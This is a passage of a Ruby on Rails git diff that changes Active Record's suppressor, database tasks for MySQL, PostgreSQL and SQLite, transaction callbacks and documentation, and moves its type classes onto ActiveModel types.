like +hstore+ or +json+ there is no need for - # the serialization provided by +store+. Simply use +store_accessor+ instead to generate + # the serialization provided by {.store}[rdoc-ref:rdoc-ref:ClassMethods#store]. + # Simply use {.store_accessor}[rdoc-ref:ClassMethods#store_accessor] instead to generate # the accessor methods. Be aware that these columns use a string keyed hash and do not allow access # using a symbol. # @@ -43,7 +44,7 @@ module ActiveRecord # store_accessor :settings, :privileges, :servants # end # - # The stored attribute names can be retrieved using +stored_attributes+. + # The stored attribute names can be retrieved using {.stored_attributes}[rdoc-ref:rdoc-ref:ClassMethods#stored_attributes]. # # User.stored_attributes[:settings] # [:color, :homepage] # diff --git a/activerecord/lib/active_record/suppressor.rb b/activerecord/lib/active_record/suppressor.rb index b0b86865fd..d9acb1a1dc 100644 --- a/activerecord/lib/active_record/suppressor.rb +++ b/activerecord/lib/active_record/suppressor.rb @@ -30,15 +30,19 @@ module ActiveRecord module ClassMethods def suppress(&block) + previous_state = SuppressorRegistry.suppressed[name] SuppressorRegistry.suppressed[name] = true yield ensure - SuppressorRegistry.suppressed[name] = false + SuppressorRegistry.suppressed[name] = previous_state end end - # Ignore saving events if we're in suppression mode. - def save!(*args) # :nodoc: + def save(*) # :nodoc: + SuppressorRegistry.suppressed[self.class.name] ? true : super + end + + def save!(*) # :nodoc: SuppressorRegistry.suppressed[self.class.name] ? true : super end end diff --git a/activerecord/lib/active_record/table_metadata.rb b/activerecord/lib/active_record/table_metadata.rb index 3dd6321a97..0faad48ce3 100644 --- a/activerecord/lib/active_record/table_metadata.rb +++ b/activerecord/lib/active_record/table_metadata.rb @@ -10,17 +10,23 @@ module ActiveRecord end def resolve_column_aliases(hash) - hash = hash.dup - hash.keys.grep(Symbol) do |key| - if klass.attribute_alias? key - hash[klass.attribute_alias(key)] = hash.delete key + # This method is a hot spot, so for now, use Hash[] to dup the hash. + # https://bugs.ruby-lang.org/issues/7166 + new_hash = Hash[hash] + hash.each do |key, _| + if (key.is_a?(Symbol)) && klass.attribute_alias?(key) + new_hash[klass.attribute_alias(key)] = new_hash.delete(key) end end - hash + new_hash end def arel_attribute(column_name) - arel_table[column_name] + if klass + klass.arel_attribute(column_name, arel_table) + else + arel_table[column_name] + end end def type(column_name) @@ -41,7 +47,7 @@ module ActiveRecord association = klass._reflect_on_association(table_name) if association && !association.polymorphic? association_klass = association.klass - arel_table = association_klass.arel_table + arel_table = association_klass.arel_table.alias(table_name) else type_caster = TypeCaster::Connection.new(klass, table_name) association_klass = nil diff --git a/activerecord/lib/active_record/tasks/database_tasks.rb b/activerecord/lib/active_record/tasks/database_tasks.rb index 683741768b..0df46d54df 100644 --- a/activerecord/lib/active_record/tasks/database_tasks.rb +++ b/activerecord/lib/active_record/tasks/database_tasks.rb @@ -5,7 +5,7 @@ module ActiveRecord class DatabaseAlreadyExists < StandardError; end # :nodoc: class DatabaseNotSupported < StandardError; end # :nodoc: - # <tt>ActiveRecord::Tasks::DatabaseTasks</tt> is a utility class, which encapsulates + # ActiveRecord::Tasks::DatabaseTasks is a utility class, which encapsulates # logic behind common tasks used to manage database and migrations. # # The tasks defined here are used with Rake tasks provided by Active Record. @@ -18,15 +18,15 @@ module ActiveRecord # # The possible config values are: # - # * +env+: current environment (like Rails.env). - # * +database_configuration+: configuration of your databases (as in +config/database.yml+). - # * +db_dir+: your +db+ directory. - # * +fixtures_path+: a path to fixtures directory. - # * +migrations_paths+: a list of paths to directories with migrations. - # * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method. - # * +root+: a path to the root of the application. + # * +env+: current environment (like Rails.env). + # * +database_configuration+: configuration of your databases (as in +config/database.yml+). + # * +db_dir+: your +db+ directory. + # * +fixtures_path+: a path to fixtures directory. + # * +migrations_paths+: a list of paths to directories with migrations. + # * +seed_loader+: an object which will load seeds, it needs to respond to the +load_seed+ method. + # * +root+: a path to the root of the application. # - # Example usage of +DatabaseTasks+ outside Rails could look as such: + # Example usage of DatabaseTasks outside Rails could look as such: # # include ActiveRecord::Tasks # DatabaseTasks.database_configuration = YAML.load_file('my_database_config.yml') @@ -42,6 +42,22 @@ module ActiveRecord LOCAL_HOSTS = ['127.0.0.1', 'localhost'] + def check_protected_environments! + unless ENV['DISABLE_DATABASE_ENVIRONMENT_CHECK'] + current = ActiveRecord::Migrator.current_environment + stored = ActiveRecord::Migrator.last_stored_environment + + if ActiveRecord::Migrator.protected_environment? + raise ActiveRecord::ProtectedEnvironmentError.new(stored) + end + + if stored && stored != current + raise ActiveRecord::EnvironmentMismatchError.new(current: current, stored: stored) + end + end + rescue ActiveRecord::NoDatabaseError + end + def register_task(pattern, task) @tasks ||= {} @tasks[pattern] = task @@ -91,15 +107,21 @@ module ActiveRecord def create(*arguments) configuration = arguments.first class_for_adapter(configuration['adapter']).new(*arguments).create + $stdout.puts "Created database '#{configuration['database']}'" rescue DatabaseAlreadyExists - $stderr.puts "#{configuration['database']} already exists" + $stderr.puts "Database '#{configuration['database']}' already exists" rescue Exception => error - $stderr.puts error, *(error.backtrace) + $stderr.puts error $stderr.puts "Couldn't create database for #{configuration.inspect}" + raise end def create_all + old_pool = ActiveRecord::Base.connection_handler.retrieve_connection_pool(ActiveRecord::Base.connection_specification_name) each_local_configuration { |configuration| create configuration } + if old_pool + ActiveRecord::Base.connection_handler.establish_connection(old_pool.spec) + end end def create_current(environment = env) @@ -112,11 +134,13 @@ module ActiveRecord def drop(*arguments) configuration = arguments.first class_for_adapter(configuration['adapter']).new(*arguments).drop + $stdout.puts "Dropped database '#{configuration['database']}'" rescue ActiveRecord::NoDatabaseError $stderr.puts "Database '#{configuration['database']}' does not exist" rescue Exception => error - $stderr.puts error, *(error.backtrace) - $stderr.puts "Couldn't drop #{configuration['database']}" + $stderr.puts error + $stderr.puts "Couldn't drop database '#{configuration['database']}'" + raise end def drop_all @@ -134,9 +158,10 @@ module ActiveRecord version = ENV["VERSION"] ? ENV["VERSION"].to_i : nil scope = ENV['SCOPE'] verbose_was, Migration.verbose = Migration.verbose, verbose - Migrator.migrate(Migrator.migrations_paths, version) do |migration| + Migrator.migrate(migrations_paths, version) do |migration| scope.blank? || scope == migration.scope end + ActiveRecord::Base.clear_cache! ensure Migration.verbose = verbose_was end @@ -202,6 +227,8 @@ module ActiveRecord else raise ArgumentError, "unknown format #{format.inspect}" end + ActiveRecord::InternalMetadata.create_table + ActiveRecord::InternalMetadata[:environment] = ActiveRecord::Migrator.current_environment end def load_schema_for(*args) @@ -221,12 +248,6 @@ module ActiveRecord end end - def load_schema_current_if_exists(format = ActiveRecord::Base.schema_format, file = nil, environment = env) - if File.exist?(file || schema_file(format)) - load_schema_current(format, file, environment) - end - end - def load_schema_current(format = ActiveRecord::Base.schema_format, file = nil, environment = env) each_current_configuration(environment) { |configuration| load_schema configuration, format, file @@ -236,7 +257,7 @@ module ActiveRecord def check_schema_file(filename) unless File.exist?(filename) - message = %{#{filename} doesn't exist yet. Run `rake db:migrate` to create it, then try again.} + message = %{#{filename} doesn't exist yet. Run `rails db:migrate` to create it, then try again.} message << %{ If you do not intend to use a database, you should instead alter #{Rails.root}/config/application.rb to limit the frameworks that will be loaded.} if defined?(::Rails) Kernel.abort message end @@ -264,8 +285,7 @@ module ActiveRecord def each_current_configuration(environment) environments = [environment] - # add test environment only if no RAILS_ENV was specified. - environments << 'test' if environment == 'development' && ENV['RAILS_ENV'].nil? + environments << 'test' if environment == 'development' configurations = ActiveRecord::Base.configurations.values_at(*environments) configurations.compact.each do |configuration| diff --git a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb index eafbb2c249..af0c935342 100644 --- a/activerecord/lib/active_record/tasks/mysql_database_tasks.rb +++ b/activerecord/lib/active_record/tasks/mysql_database_tasks.rb @@ -1,8 +1,6 @@ module ActiveRecord module Tasks # :nodoc: class MySQLDatabaseTasks # :nodoc: - DEFAULT_CHARSET = ENV['CHARSET'] || 'utf8' - DEFAULT_COLLATION = ENV['COLLATION'] || 'utf8_unicode_ci' ACCESS_DENIED_ERROR = 1045 delegate :connection, :establish_connection, to: ActiveRecord::Base @@ -23,7 +21,7 @@ module ActiveRecord end rescue error_class => error if error.respond_to?(:errno) && error.errno == ACCESS_DENIED_ERROR - $stdout.print error.error + $stdout.print error.message establish_connection root_configuration_without_database connection.create_database configuration['database'], creation_options if configuration['username'] != 'root' @@ -56,21 +54,21 @@ module ActiveRecord end def structure_dump(filename) - args = prepare_command_options('mysqldump') + args = prepare_command_options args.concat(["--result-file", "#{filename}"]) args.concat(["--no-data"]) + args.concat(["--routines"]) args.concat(["#{configuration['database']}"]) - unless Kernel.system(*args) - $stderr.puts "Could not dump the database structure. "\ - "Make sure `mysqldump` is in your PATH and check the command output for warnings." - end + + run_cmd('mysqldump', args, 'dumping') end def structure_load(filename) - args = prepare_command_options('mysql') + args = prepare_command_options args.concat(['--execute', %{SET FOREIGN_KEY_CHECKS = 0; SOURCE #{filename}; SET FOREIGN_KEY_CHECKS = 1}]) args.concat(["--database", "#{configuration['database']}"]) - Kernel.system(*args) + + run_cmd('mysql', args, 'loading') end private @@ -87,12 +85,6 @@ module ActiveRecord Hash.new.tap do |options| options[:charset] = configuration['encoding'] if configuration.include? 'encoding' options[:collation] = configuration['collation'] if configuration.include? 'collation' - - # Set default charset only when collation isn't set. - options[:charset] ||= DEFAULT_CHARSET unless options[:collation] - - # Set default collation only when charset is also default. - options[:collation] ||= DEFAULT_COLLATION if options[:charset] == DEFAULT_CHARSET end end @@ -102,8 +94,6 @@ module ActiveRecord ArJdbcMySQL::Error elsif defined?(Mysql2) Mysql2::Error - elsif defined?(Mysql) - Mysql::Error else StandardError end @@ -129,17 +119,33 @@ IDENTIFIED BY '#{configuration['password']}' WITH GRANT OPTION; $stdin.gets.strip end - def prepare_command_options(command) - args = [command] - args.concat(['--user', configuration['username']]) if configuration['username'] - args << "--password=#{configuration['password']}" if configuration['password'] - args.concat(['--default-character-set', configuration['encoding']]) if configuration['encoding'] - configuration.slice('host', 'port', 'socket').each do |k, v| - args.concat([ "--#{k}", v.to_s ]) if v - end + def prepare_command_options + args = { + 'host' => '--host', + 'port' => '--port', + 'socket' => '--socket', + 'username' => '--user', + 'password' => '--password', + 'encoding' => '--default-character-set', + 'sslca' => '--ssl-ca', + 'sslcert' => '--ssl-cert', + 'sslcapath' => '--ssl-capath', + 'sslcipher' => '--ssl-cipher', + 'sslkey' => '--ssl-key' + }.map { |opt, arg| "#{arg}=#{configuration[opt]}" if configuration[opt] }.compact args end + + def run_cmd(cmd, args, action) + fail run_cmd_error(cmd, args, action) unless Kernel.system(cmd, *args) + end + + def run_cmd_error(cmd, args, action) + msg = "failed to execute: `#{cmd}`\n" + msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n" + msg + end end end end diff --git a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb index 435708a421..8b4874044c 100644 --- a/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb +++ b/activerecord/lib/active_record/tasks/postgresql_database_tasks.rb @@ -1,5 +1,3 @@ -require 'shellwords' - module ActiveRecord module Tasks # :nodoc: class PostgreSQLDatabaseTasks # :nodoc: @@ -55,19 +53,22 @@ module ActiveRecord when String ActiveRecord::Base.dump_schemas end + + args = ['-s', '-x', '-O', '-f', filename] unless search_path.blank? - search_path = search_path.split(",").map{|search_path_part| "--schema=#{Shellwords.escape(search_path_part.strip)}" }.join(" ") + args += search_path.split(',').map do |part| + "--schema=#{part.strip}" + end end - - command = "pg_dump -i -s -x -O -f #{Shellwords.escape(filename)} #{search_path} #{Shellwords.escape(configuration['database'])}" - raise 'Error dumping database' unless Kernel.system(command) - + args << configuration['database'] + run_cmd('pg_dump', args, 'dumping') File.open(filename, "a") { |f| f << "SET search_path TO #{connection.schema_search_path};\n\n" } end def structure_load(filename) set_psql_env - Kernel.system("psql -q -f #{Shellwords.escape(filename)} #{configuration['database']}") + args = [ '-q', '-f', filename, configuration['database'] ] + run_cmd('psql', args, 'loading' ) end private @@ -93,6 +94,17 @@ module ActiveRecord ENV['PGPASSWORD'] = configuration['password'].to_s if configuration['password'] ENV['PGUSER'] = configuration['username'].to_s if configuration['username'] end + + def run_cmd(cmd, args, action) + fail run_cmd_error(cmd, args, action) unless Kernel.system(cmd, *args) + end + + def run_cmd_error(cmd, args, action) + msg = "failed to execute:\n" + msg << "#{cmd} #{args.join(' ')}\n\n" + msg << "Please check the output above for any errors and make sure that `#{cmd}` is installed in your PATH and has proper permissions.\n\n" + msg + end end end end diff --git a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb index 9ab64d0325..9ec3c8a94a 100644 --- a/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb +++ b/activerecord/lib/active_record/tasks/sqlite_database_tasks.rb @@ -19,11 +19,15 @@ module ActiveRecord path = Pathname.new configuration['database'] file = path.absolute? ? path.to_s : File.join(root, path) - FileUtils.rm(file) if File.exist?(file) + FileUtils.rm(file) + rescue Errno::ENOENT => error + raise NoDatabaseError.new(error.message, error) end def purge drop + rescue NoDatabaseError + ensure create end diff --git a/activerecord/lib/active_record/timestamp.rb b/activerecord/lib/active_record/timestamp.rb index 20e4235788..d9c18a5e38 100644 --- a/activerecord/lib/active_record/timestamp.rb +++ b/activerecord/lib/active_record/timestamp.rb @@ -1,5 +1,5 @@ module ActiveRecord - # = Active Record Timestamp + # = Active Record \Timestamp # # Active Record automatically timestamps create and update operations if the # table has fields named <tt>created_at/created_on</tt> or @@ -15,14 +15,25 @@ module ActiveRecord # # == Time Zone aware attributes # - # By default, ActiveRecord::Base keeps all the datetime columns time zone aware by executing following code. + # Active Record keeps all the <tt>datetime</tt> and <tt>time</tt> columns + # timezone aware. By default, these values are stored in the database as UTC + # and converted back to the current <tt>Time.zone</tt> when pulled from the database. # - # config.active_record.time_zone_aware_attributes = true + # This feature can be turned off completely by setting: # - # This feature can easily be turned off by assigning value <tt>false</tt> . + # config.active_record.time_zone_aware_attributes = false # - # If your attributes are time zone aware and you desire to skip time zone conversion to the current Time.zone - # when reading certain attributes then you can do following: + # You can also specify that only <tt>datetime</tt> columns should be time-zone + # aware (while <tt>time</tt> should not) by setting: + # + # ActiveRecord::Base.time_zone_aware_types = [:datetime] + # + # You can also add database specific timezone aware types. For example, for PostgreSQL: + # + # ActiveRecord::Base.time_zone_aware_types += [:tsrange, :tstzrange] + # + # Finally, you can indicate specific attributes of a model for which time zone + # conversion should not applied, for instance by setting: # # class Topic < ActiveRecord::Base # self.skip_time_zone_conversion_for_attributes = [:written_on] diff --git a/activerecord/lib/active_record/touch_later.rb b/activerecord/lib/active_record/touch_later.rb new file mode 100644 index 0000000000..9a80a63e28 --- /dev/null +++ b/activerecord/lib/active_record/touch_later.rb @@ -0,0 +1,58 @@ +module ActiveRecord + # = Active Record Touch Later + module TouchLater + extend ActiveSupport::Concern + + included do + before_commit_without_transaction_enrollment :touch_deferred_attributes + end + + def touch_later(*names) # :nodoc: + raise ActiveRecordError, "cannot touch on a new record object" unless persisted? + + @_defer_touch_attrs ||= timestamp_attributes_for_update_in_model + @_defer_touch_attrs |= names + @_touch_time = current_time_from_proper_timezone + + surreptitiously_touch @_defer_touch_attrs + self.class.connection.add_transaction_record self + + # touch the parents as we are not calling the after_save callbacks + self.class.reflect_on_all_associations(:belongs_to).each do |r| + if touch = r.options[:touch] + ActiveRecord::Associations::Builder::BelongsTo.touch_record(self, r.foreign_key, r.name, touch, :touch_later) + end + end + end + + def touch(*names, time: nil) # :nodoc: + if has_defer_touch_attrs? + names |= @_defer_touch_attrs + end + super(*names, time: time) + end + + private + + def surreptitiously_touch(attrs) + attrs.each { |attr| write_attribute attr, @_touch_time } + clear_attribute_changes attrs + end + + def touch_deferred_attributes + if has_defer_touch_attrs? && persisted? + touch(*@_defer_touch_attrs, time: @_touch_time) + @_defer_touch_attrs, @_touch_time = nil, nil + end + end + + def has_defer_touch_attrs? + defined?(@_defer_touch_attrs) && @_defer_touch_attrs.present? + end + + def belongs_to_touch_method + :touch_later + end + + end +end diff --git a/activerecord/lib/active_record/transactions.rb b/activerecord/lib/active_record/transactions.rb index 2293d1b258..77c2845d88 100644 --- a/activerecord/lib/active_record/transactions.rb +++ b/activerecord/lib/active_record/transactions.rb @@ -11,15 +11,16 @@ module ActiveRecord :before_commit_without_transaction_enrollment, :commit_without_transaction_enrollment, :rollback_without_transaction_enrollment, + terminator: deprecated_false_terminator, scope: [:kind, :name] end # = Active Record Transactions # - # Transactions are protective blocks where SQL statements are only permanent + # \Transactions are protective blocks where SQL statements are only permanent # if they can all succeed as one atomic action. The classic example is a # transfer between two accounts where you can only have a deposit if the - # withdrawal succeeded and vice versa. Transactions enforce the integrity of + # withdrawal succeeded and vice versa. \Transactions enforce the integrity of # the database and guard the data against program errors or database # break-downs. So basically you should use transaction blocks whenever you # have a number of statements that must be executed together or not at all. @@ -39,20 +40,20 @@ module ActiveRecord # # == Different Active Record classes in a single transaction # - # Though the transaction class method is called on some Active Record class, + # Though the #transaction class method is called on some Active Record class, # the objects within the transaction block need not all be instances of # that class. This is because transactions are per-database connection, not # per-model. # # In this example a +balance+ record is transactionally saved even - # though +transaction+ is called on the +Account+ class: + # though #transaction is called on the +Account+ class: # # Account.transaction do # balance.save! # account.save! # end # - # The +transaction+ method is also available as a model instance method. + # The #transaction method is also available as a model instance method. # For example, you can also do this: # # balance.transaction do @@ -79,7 +80,8 @@ module ActiveRecord # # == +save+ and +destroy+ are automatically wrapped in a transaction # - # Both +save+ and +destroy+ come wrapped in a transaction that ensures + # Both {#save}[rdoc-ref:Persistence#save] and + # {#destroy}[rdoc-ref:Persistence#destroy] come wrapped in a transaction that ensures # that whatever you do in validations or callbacks will happen under its # protected cover. So you can use validations to check for values that # the transaction depends on or you can raise exceptions in the callbacks @@ -88,7 +90,7 @@ module ActiveRecord # As a consequence changes to the database are not seen outside your connection # until the operation is complete. For example, if you try to update the index # of a search engine in +after_save+ the indexer won't see the updated record. - # The +after_commit+ callback is the only one that is triggered once the update + # The #after_commit callback is the only one that is triggered once the update # is committed. See below. # # == Exception handling and rolling back @@ -97,11 +99,11 @@ module ActiveRecord # be propagated (after triggering the ROLLBACK), so you should be ready to # catch those in your application code. # - # One exception is the <tt>ActiveRecord::Rollback</tt> exception, which will trigger + # One exception is the ActiveRecord::Rollback exception, which will trigger # a ROLLBACK when raised, but not be re-raised by the transaction block. # - # *Warning*: one should not catch <tt>ActiveRecord::StatementInvalid</tt> exceptions - # inside a transaction block. <tt>ActiveRecord::StatementInvalid</tt> exceptions indicate that an + # *Warning*: one should not catch ActiveRecord::StatementInvalid exceptions + # inside a transaction block. ActiveRecord::StatementInvalid exceptions indicate that an # error occurred at the database level, for example when a unique constraint # is violated. On some database systems, such as PostgreSQL, database errors # inside a transaction cause the entire transaction to become unusable @@ -127,11 +129,11 @@ module ActiveRecord # end # # One should restart the entire transaction if an - # <tt>ActiveRecord::StatementInvalid</tt> occurred. + # ActiveRecord::StatementInvalid occurred. # # == Nested transactions # - # +transaction+ calls can be nested. By default, this makes all database + # #transaction calls can be nested. By default, this makes all database # statements in the nested transaction block become part of the parent # transaction. For example, the following behavior may be surprising: # @@ -143,7 +145,7 @@ module ActiveRecord # end # end # - # creates both "Kotori" and "Nemu". Reason is the <tt>ActiveRecord::Rollback</tt> + # creates both "Kotori" and "Nemu". Reason is the ActiveRecord::Rollback # exception in the nested block does not issue a ROLLBACK. Since these exceptions # are captured in transaction blocks, the parent block does not see it and the # real transaction is committed. @@ -167,22 +169,22 @@ module ActiveRecord # writing, the only database that we're aware of that supports true nested # transactions, is MS-SQL. Because of this, Active Record emulates nested # transactions by using savepoints on MySQL and PostgreSQL. See - # http://dev.mysql.com/doc/refman/5.6/en/savepoint.html + # http://dev.mysql.com/doc/refman/5.7/en/savepoint.html # for more information about savepoints. # - # === Callbacks + # === \Callbacks # # There are two types of callbacks associated with committing and rolling back transactions: - # +after_commit+ and +after_rollback+. + # #after_commit and #after_rollback. # - # +after_commit+ callbacks are called on every record saved or destroyed within a - # transaction immediately after the transaction is committed. +after_rollback+ callbacks + # #after_commit callbacks are called on every record saved or destroyed within a + # transaction immediately after the transaction is committed. #after_rollback callbacks # are called on every record saved or destroyed within a transaction immediately after the # transaction or savepoint is rolled back. # # These callbacks are useful for interacting with other systems since you will be guaranteed # that the callback is only executed when the database is in a permanent state. For example, - # +after_commit+ is a good spot to put in a hook to clearing a cache since clearing it from + # #after_commit is a good spot to put in a hook to clearing a cache since clearing it from # within a transaction could trigger the cache to be regenerated before the database is updated. # # === Caveats @@ -196,17 +198,16 @@ module ActiveRecord # automatically released. The following example demonstrates the problem: # # Model.connection.transaction do # BEGIN - # Model.connection.transaction(requires_new: true) do # CREATE SAVEPOINT active_record_1 + # Model.connection.transaction(requires_new: true) do # CREATE SAVEPOINT active_record_1 # Model.connection.create_table(...) # active_record_1 now automatically released - # end # RELEASE savepoint active_record_1 + # end # RELEASE SAVEPOINT active_record_1 # # ^^^^ BOOM! database error! # end # # Note that "TRUNCATE" is also a MySQL DDL statement! module ClassMethods - # See ActiveRecord::Transactions::ClassMethods for detailed documentation. + # See the ConnectionAdapters::DatabaseStatements#transaction API docs. def transaction(options = {}, &block) - # See the ConnectionAdapters::DatabaseStatements#transaction API docs. connection.transaction(options, &block) end @@ -232,9 +233,27 @@ module ActiveRecord set_callback(:commit, :after, *args, &block) end + # Shortcut for <tt>after_commit :hook, on: :create</tt>. + def after_create_commit(*args, &block) + set_options_for_callbacks!(args, on: :create) + set_callback(:commit, :after, *args, &block) + end + + # Shortcut for <tt>after_commit :hook, on: :update</tt>. + def after_update_commit(*args, &block) + set_options_for_callbacks!(args, on: :update) + set_callback(:commit, :after, *args, &block) + end + + # Shortcut for <tt>after_commit :hook, on: :destroy</tt>. + def after_destroy_commit(*args, &block) + set_options_for_callbacks!(args, on: :destroy) + set_callback(:commit, :after, *args, &block) + end + # This callback is called after a create, update, or destroy are rolled back. # - # Please check the documentation of +after_commit+ for options. + # Please check the documentation of #after_commit for options. def after_rollback(*args, &block) set_options_for_callbacks!(args) set_callback(:rollback, :after, *args, &block) @@ -267,9 +286,11 @@ module ActiveRecord private - def set_options_for_callbacks!(args) - options = args.last - if options.is_a?(Hash) && options[:on] + def set_options_for_callbacks!(args, enforced_options = {}) + options = args.extract_options!.merge!(enforced_options) + args << options + + if options[:on] fire_on = Array(options[:on]) assert_valid_transaction_action(fire_on) options[:if] = Array(options[:if]) @@ -323,7 +344,7 @@ module ActiveRecord _run_before_commit_callbacks end - # Call the +after_commit+ callbacks. + # Call the #after_commit callbacks. # # Ensure that it is not called if the object was never persisted (failed create), # but call it after the commit of a destroyed object. @@ -336,19 +357,19 @@ module ActiveRecord force_clear_transaction_record_state end - # Call the +after_rollback+ callbacks. The +force_restore_state+ argument indicates if the record + # Call the #after_rollback callbacks. The +force_restore_state+ argument indicates if the record # state should be rolled back to the beginning or just to the last savepoint. def rolledback!(force_restore_state: false, should_run_callbacks: true) #:nodoc: if should_run_callbacks - _run_rollback_without_transaction_enrollment_callbacks _run_rollback_callbacks + _run_rollback_without_transaction_enrollment_callbacks end ensure restore_transaction_record_state(force_restore_state) clear_transaction_record_state end - # Add the record to the current transaction so that the +after_rollback+ and +after_commit+ callbacks + # Add the record to the current transaction so that the #after_rollback and #after_commit callbacks # can be called. def add_to_transaction if has_transactional_callbacks? @@ -380,6 +401,10 @@ module ActiveRecord raise ActiveRecord::Rollback unless status end status + ensure + if @transaction_state && @transaction_state.committed? + clear_transaction_record_state + end end protected @@ -453,23 +478,23 @@ module ActiveRecord !_rollback_callbacks.empty? || !_commit_callbacks.empty? || !_before_commit_callbacks.empty? end - # Updates the attributes on this particular ActiveRecord object so that - # if it's associated with a transaction, then the state of the ActiveRecord + # Updates the attributes on this particular Active Record object so that + # if it's associated with a transaction, then the state of the Active Record # object will be updated to reflect the current state of the transaction # - # The @transaction_state variable stores the states of the associated + # The +@transaction_state+ variable stores the states of the associated # transaction. This relies on the fact that a transaction can only be in # one rollback or commit (otherwise a list of states would be required) - # Each ActiveRecord object inside of a transaction carries that transaction's + # Each Active Record object inside of a transaction carries that transaction's # TransactionState. # # This method checks to see if the ActiveRecord object's state reflects - # the TransactionState, and rolls back or commits the ActiveRecord object + # the TransactionState, and rolls back or commits the Active Record object # as appropriate. # - # Since ActiveRecord objects can be inside multiple transactions, this + # Since Active Record objects can be inside multiple transactions, this # method recursively goes through the parent of the TransactionState and - # checks if the ActiveRecord object reflects the state of the object. + # checks if the Active Record object reflects the state of the object. def sync_with_transaction_state update_attributes_from_transaction_state(@transaction_state) end diff --git a/activerecord/lib/active_record/type.rb b/activerecord/lib/active_record/type.rb index 2c0cda69d0..4911d93dd9 100644 --- a/activerecord/lib/active_record/type.rb +++ b/activerecord/lib/active_record/type.rb @@ -1,22 +1,15 @@ -require 'active_record/type/helpers' -require 'active_record/type/value' +require 'active_model/type' + +require 'active_record/type/internal/abstract_json' +require 'active_record/type/internal/timezone' -require 'active_record/type/big_integer' -require 'active_record/type/binary' -require 'active_record/type/boolean' require 'active_record/type/date' require 'active_record/type/date_time' -require 'active_record/type/decimal' -require 'active_record/type/decimal_without_scale' -require 'active_record/type/float' -require 'active_record/type/integer' -require 'active_record/type/serialized' -require 'active_record/type/string' -require 'active_record/type/text' require 'active_record/type/time' -require 'active_record/type/unsigned_integer' +require 'active_record/type/serialized' require 'active_record/type/adapter_specific_registry' + require 'active_record/type/type_map' require 'active_record/type/hash_lookup_type_map' @@ -29,13 +22,13 @@ module ActiveRecord delegate :add_modifier, to: :registry # Add a new type to the registry, allowing it to be referenced as a - # symbol by ActiveRecord::Attributes::ClassMethods#attribute. If your - # type is only meant to be used with a specific database adapter, you can - # do so by passing +adapter: :postgresql+. If your type has the same + # symbol by {ActiveRecord::Base.attribute}[rdoc-ref:Attributes::ClassMethods#attribute]. + # If your type is only meant to be used with a specific database adapter, you can + # do so by passing <tt>adapter: :postgresql</tt>. If your type has the same # name as a native type for the current adapter, an exception will be - # raised unless you specify an +:override+ option. +override: true+ will - # cause your type to be used instead of the native type. +override: - # false+ will cause the native type to be used over yours if one exists. + # raised unless you specify an +:override+ option. <tt>override: true</tt> will + # cause your type to be used instead of the native type. <tt>override: + # false</tt> will cause the native type to be used over yours if one exists. def register(type_name, klass = nil, **options, &block) registry.register(type_name, klass, **options, &block) end @@ -51,11 +44,24 @@ module ActiveRecord end end + Helpers = ActiveModel::Type::Helpers + BigInteger = ActiveModel::Type::BigInteger + Binary = ActiveModel::Type::Binary + Boolean = ActiveModel::Type::Boolean + Decimal = ActiveModel::Type::Decimal + DecimalWithoutScale = ActiveModel::Type::DecimalWithoutScale + Float = ActiveModel::Type::Float + Integer = ActiveModel::Type::Integer + String = ActiveModel::Type::String + Text = ActiveModel::Type::Text + UnsignedInteger = ActiveModel::Type::UnsignedInteger + Value = ActiveModel::Type::Value + register(:big_integer, Type::BigInteger, override: false) register(:binary, Type::Binary, override: false) register(:boolean, Type::Boolean, override: false) register(:date, Type::Date, override: false) - register(:date_time, Type::DateTime, override: false) + register(:datetime, Type::DateTime, override: false) register(:decimal, Type::Decimal, override: false) register(:float, Type::Float, override: false) register(:integer, Type::Integer, override: false) diff --git a/activerecord/lib/active_record/type/adapter_specific_registry.rb b/activerecord/lib/active_record/type/adapter_specific_registry.rb index 5f71b3cb94..d440eac619 100644 --- a/activerecord/lib/active_record/type/adapter_specific_registry.rb +++ b/activerecord/lib/active_record/type/adapter_specific_registry.rb @@ -1,35 +1,24 @@ +require 'active_model/type/registry' + module ActiveRecord # :stopdoc: module Type - class AdapterSpecificRegistry - def initialize - @registrations = [] - end - - def register(type_name, klass = nil, **options, &block) - block ||= proc { |_, *args| klass.new(*args) } - registrations << Registration.new(type_name, block, **options) + class AdapterSpecificRegistry < ActiveModel::Type::Registry + def add_modifier(options, klass, **args) + registrations << DecorationRegistration.new(options, klass, **args) end - def lookup(symbol, *args) - registration = registrations - .select { |r| r.matches?(symbol, *args) } - .max + private - if registration - registration.call(self, symbol, *args) - else - raise ArgumentError, "Unknown type #{symbol.inspect}" - end + def registration_klass + Registration end - def add_modifier(options, klass, **args) - registrations << DecorationRegistration.new(options, klass, **args) + def find_registration(symbol, *args) + registrations + .select { |registration| registration.matches?(symbol, *args) } + .max end - - protected - - attr_reader :registrations end class Registration @@ -137,6 +126,5 @@ module ActiveRecord class TypeConflictError < StandardError end - # :startdoc: end diff --git a/activerecord/lib/active_record/type/date.rb b/activerecord/lib/active_record/type/date.rb index 3ceab59ebb..ccafed054e 100644 --- a/activerecord/lib/active_record/type/date.rb +++ b/activerecord/lib/active_record/type/date.rb @@ -1,49 +1,7 @@ module ActiveRecord module Type - class Date < Value # :nodoc: - include Helpers::AcceptsMultiparameterTime.new - - def type - :date - end - - def type_cast_for_schema(value) - "'#{value.to_s(:db)}'" - end - - private - - def cast_value(value) - if value.is_a?(::String) - return if value.empty? - fast_string_to_date(value) || fallback_string_to_date(value) - elsif value.respond_to?(:to_date) - value.to_date - else - value - end - end - - def fast_string_to_date(string) - if string =~ ConnectionAdapters::Column::Format::ISO_DATE - new_date $1.to_i, $2.to_i, $3.to_i - end - end - - def fallback_string_to_date(string) - new_date(*::Date._parse(string, false).values_at(:year, :mon, :mday)) - end - - def new_date(year, mon, mday) - if year && year != 0 - ::Date.new(year, mon, mday) rescue nil - end - end - - def value_from_multiparameter_assignment(*) - time = super - time && time.to_date - end + class Date < ActiveModel::Type::Date + include Internal::Timezone end end end diff --git a/activerecord/lib/active_record/type/date_time.rb 